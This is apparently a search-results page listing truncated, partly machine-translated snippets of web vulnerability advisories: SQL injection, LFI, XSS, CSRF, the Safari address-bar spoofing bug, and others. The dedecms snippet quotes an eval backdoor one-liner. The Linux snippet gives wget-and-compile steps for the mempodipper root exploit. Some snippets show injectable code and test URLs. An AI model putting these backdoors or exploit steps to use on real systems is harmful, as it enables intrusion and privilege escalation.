6497 matches found
A lot of Taobao guest 7. 4 SQL injection bypass vulnerability-vulnerability warning-the black bar safety net
Brief description: See before someone made a lot of this procedure of injecting http://www.wooyun.org/bugs/wooyun-2010-04024 Look at the source code, almost naked injection?: $id =$GET'id'; $good=selsql'dhlist','id,name,pic,money,jifen,num,content,num','id='.$ id; OK, OK!! See online that lot and...
dedecms 5.7 a word the back door using the exp-bug warning-the black bar safety net
author: a dance of the forest tx Twitter: http://t.qq.com/wulinlw Night to see this http://www.wooyun.org/bug.php?action=view&id=5 4 1 6 shopcar.class.php is implanted in the word @evalfilegetcontents'php://input'; Go to the official website under the set back, look at the following code,...
PHP Address Book 6.2.12 multiple security flaws and fixes-vulnerability warning-the black bar safety net
Author: Stefan Schurtz Affected Software: Successfully tested on PHP Address Book 6.2.12 Developer URL: http://sourceforge.net/projects/php-addressbook/ Defect description ========================== PHP Address Book 6.2.12 is containing multiplexssand sql injection issues ================== The...
Apple Safari 'setInterval()' Address Bar Spoofing Vulnerability (Windows)
This host is installed with Apple Safari web browser and is prone to address bar spoofing vulnerability. OpenVAS Vulnerability Test $Id: gbapplesafariaddressbarspoofinvulnwin.nasl 5963 2017-04-18 09:02:14Z teissa $ Apple Safari 'setInterval' Address Bar Spoofing Vulnerability Windows Authors:...
Apple Safari 'setInterval()' Address Bar Spoofing Vulnerability - Windows
Apple Safari web browser is prone to address bar spoofing vulnerability. SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
AneCMS v. 2e2c583 local file containing the defect and repair-vulnerability warning-the black bar safety net
Title: AneCMS v. 2e2c583 LFI exploit Author Author: I2sec-PJH Software development website: https://github.com/AneGroup/AneCMS Affected version: v. 2e2c583 Overview source of index. php page the presence of defects Code analysis is as follows 1. ifisset$GET'p' 2. include './ pages/'.$ GET'p'.'...
Apple Safari 5.1.2 setInterval()地址栏欺骗漏洞
BUGTRAQ ID: 52323 CVE ID: CVE-2011-3844 Safari是苹果计算机的最新作业系统Mac OS X中的浏览器，使用了KDE的KHTML作为浏览器的运算核心。 Apple Safari在处理setInterval函数的实现上存在安全漏洞，远程攻击者可利用此漏洞在地址栏中显示可信站点URL时显示任意内容，进行欺骗攻击。 0 Apple Safari 5.1.2 7534.52.7 For Windows 厂商补丁： Apple ----- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
CVE-2011-3844
Apple Safari 5.0.5 does not properly implement the setInterval function, which allows remote attackers to spoof the address bar via a crafted web page...
Design/Logic Flaw
Apple Safari 5.0.5 does not properly implement the setInterval function, which allows remote attackers to spoof the address bar via a crafted web page...
CVE-2011-3844
CVE-2011-3844 concerns Apple Safari’s handling of setInterval, where Safari 5.0.5 (and related versions) can be abused to spoof the address bar via a crafted web page. The vulnerability affects the browser’s address bar rendering, enabling remote attackers to misrepresent the visited URL. The NVD...
WordPress EditorMonkey (FCKeditor)remote file upload vulnerability-vulnerability warning-the black bar safety net
EditorMonkey is WordPress in a plugin,EditorMonkey in the FCKeditor editor is the presence of a remote file upload vulnerability can lead an attacker directly exploit the vulnerability to obtain the webshell on. +info: WordPress EditorMonkey FCKeditor Remote File Upload Author : kaMtiEz...
Linux 2.6.39 to 3.2.0 explosion mention the right vulnerability-vulnerability warning-the black bar safety net
Download the exploit file wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c 2. Compile gcc mempodipper. c-o mempodipper 3. Before executing the view netcat@netcat:$ uname-r 3.0.0-1 2-generic netcat@netcat:$ cat /etc/issue Ubuntu 11.10 n l netcat@netcat:$ uname-a Linux netcat 3.0.0-1...
shypostShyPost enterprise website management system a number of vulnerabilities-vulnerability warning-the black bar safety net
ShyPost enterprise management system with dozens of templates, the user can freely choose a different template background management functions is the same, the following is one of the templates before and after the test, welcome to the user testing. Background demo:...
Document vulnerability ShellCode look-vulnerability warning-the black bar safety net
Inscription: still very much like to put this topic, put so long, also modified several versions, are not satisfied, today was pushed again to write, as much as possible to put themselves know something write it out, learn the need to constantly summary of to accumulate, on a Sunday ride out, see...
Dlink DCS series CSRF change the administrative password-vulnerability warning-the black bar safety net
Title: Dlink DCS series CSRF Change Admin Password Affected version: DCS-9 0 0, DCS-2 0 0 0, DCS-5 3 0 0 and possibly other. Author: rigan - [email protected] -- A description of the problem: Dlink DCS is a camera series These cameras with the one containing the csrf flaw in the web interface Thi...
4PSA CMS SQl injection flaws and fixes-vulnerability warning-the black bar safety net
Title: 4PSA CMS SQL Injection Vulnerabilities Author: BHG Security Center www.2cto.com Nitrojen90 Development program official website: http://www.4psa.com/ Affected version: latest version Risk level: high Testing platform: GNU/Linux - Windows Example: http://www.badguest.cn /print. php? id=SQL...
BuyWebArt <<< SQL injection and fix-vulnerability warning-the black bar safety net
Author: Infamous Test example http://www.badguest.cn /path/xxxx. php? id=xxx&id=Sqli Examples http://www.badguest.cn/page.php?id=german http://www.badguest.cn/article.php?aid=3649&sid=1 9 http://www.badguest.cn/send-gift-cards.php?id=8...
Fork CMS v. 3. 2. 4 multiple defects ( LFI - XSS )-a vulnerability warning-the black bar safety net
Title: Fork CMS v. 3. 2. 4 - Multiple Vulnerabilities Developers: http://www.fork-cms.com Author: RandomStorm - http://www.randomstorm.com Avram Marius Gabriel d3v1l Test platform: Windows XP & Vista The management panel of the reflection type cross-siteXSS Test: http://www.badguest.cn...